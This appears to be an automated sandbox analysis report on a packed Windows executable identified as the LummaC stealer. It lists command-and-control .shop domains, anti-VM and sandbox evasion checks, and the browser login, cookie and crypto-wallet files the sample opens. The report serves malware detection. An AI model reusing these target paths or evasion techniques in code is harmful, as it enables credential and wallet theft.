Source: file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.1673429503.0000000003DCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1673429503.0000000003DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673523212.0000000003DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1673523212.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1673429503.0000000003DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673523212.0000000003DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1673523212.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49737 version: TLS 1.2

System Summary

Detected VMProtect packer

Source: file.exe

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD2010	0_2_00FD2010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC04B7	0_2_00FC04B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA4740	0_2_00FA4740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC0CA0	0_2_00FC0CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA6030	0_2_00FA6030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA1000	0_2_00FA1000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA52F0	0_2_00FA52F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA3260	0_2_00FA3260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA65F0	0_2_00FA65F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD45F0	0_2_00FD45F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAF690	0_2_00FAF690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD97D0	0_2_00FD97D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA1700	0_2_00FA1700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC58A2	0_2_00FC58A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC59D2	0_2_00FC59D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100387F	0_2_0100387F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC594F	0_2_00FC594F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD9AF0	0_2_00FD9AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBCAEC	0_2_00FBCAEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD1A70	0_2_00FD1A70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA7CB0	0_2_00FA7CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA3D70	0_2_00FA3D70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA2E70	0_2_00FA2E70

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00FA8D30 appears 168 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00FFF648 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00FA8700 appears 50 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1673678697.0000000003DA4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 5747200 > 1048576

Source: file.exe

Static PE information: Raw size of .vmp1 is bigger than: 0x100000 < 0x57a800

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: file.exe	Static PE information: section name: .vmp0
Source: file.exe	Static PE information: section name: .vmp1

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEB2F4 push ebp; ret	0_2_00FEB2F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEB29C push 1BCCBC0Fh; iretd	0_2_00FEB2A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE926A push edi; ret	0_2_00FE926B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE9240 push edi; ret	0_2_00FE924B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEB300 push esi; ret	0_2_00FEB79F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE94FD push edi; ret	0_2_00FE94FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE94D7 push edi; ret	0_2_00FE94FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE94A5 push ebp; ret	0_2_00FE94A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE95D4 push ebp; ret	0_2_00FE95FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFF68D push ecx; ret	0_2_00FFF6A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEC633 push esi; ret	0_2_00FEC63F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEC9D5 push ebp; ret	0_2_00FEC9F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE9976 push ebx; ret	0_2_00FE997B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FECACE push ebp; ret	0_2_00FECACF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEAA34 push edi; ret	0_2_00FEAA3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEBA18 push esi; ret	0_2_00FEBA1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE9D88 push edi; ret	0_2_00FE9D99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEAD7C push edi; ret	0_2_00FEADBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFDFD0 push ecx; ret	0_2_00FFDFE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEAF49 push ebx; ret	0_2_00FEAF58

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6816 base: CF0005 value: E9 8B 2F 21 76			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: PID: 6816 base: 76F02F90 value: E9 7A D0 DE 89			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, file.exe, 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp

Binary or memory string: THSBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0C78 second address: 13D0C9B instructions: 0x00000000 rdtsc 0x00000002 xor bl, cl 0x00000004 shrd eax, eax, 000000EAh 0x00000008 shl dl, FFFFFFE6h 0x0000000b push ebp 0x0000000c adc bp, 2834h 0x00000011 bswap ebp 0x00000013 push edi 0x00000014 bts ebp, esp 0x00000017 shld bp, cx, 0000002Ah 0x0000001c xadd dx, ax 0x00000020 push ebx 0x00000021 cbw 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBD27 second address: 12BBD2E instructions: 0x00000000 rdtsc 0x00000002 pop edi 0x00000003 or ah, FFFFFFE5h 0x00000006 pop ebp 0x00000007 rdtsc

Source: C:\Users\user\Desktop\file.exe TID: 6856	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6860	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: file.exe, 00000000.00000003.1673148684.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1745794964.0000000000E36000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673941731.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1745794964.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FD3CC0 LdrInitializeThunk,

0_2_00FD3CC0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: demonstationfukewko.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: liabilitynighstjsko.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: alcojoldwograpciw.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: incredibleextedwj.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: shortsvelventysjo.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: shatterbreathepsw.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: tolerateilusidjukl.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: productivelookewr.shop
Source: file.exe, 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: greetclassifytalk.shop

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1745411861.0000000000E90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1745362507.0000000000E88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746018029.0000000000E92000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "%appdata%\\Electrum\\wallets",
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ", "simple-storage.json", "window-state.json"],
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Exodus\\exodus.wallet",
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Ethereum\
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1673148684.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p": "%appdata%\\Ethereum\
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1673148684.0000000000E87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "keystore"
Source: file.exe, 00000000.00000003.1673941731.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger LiveC

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
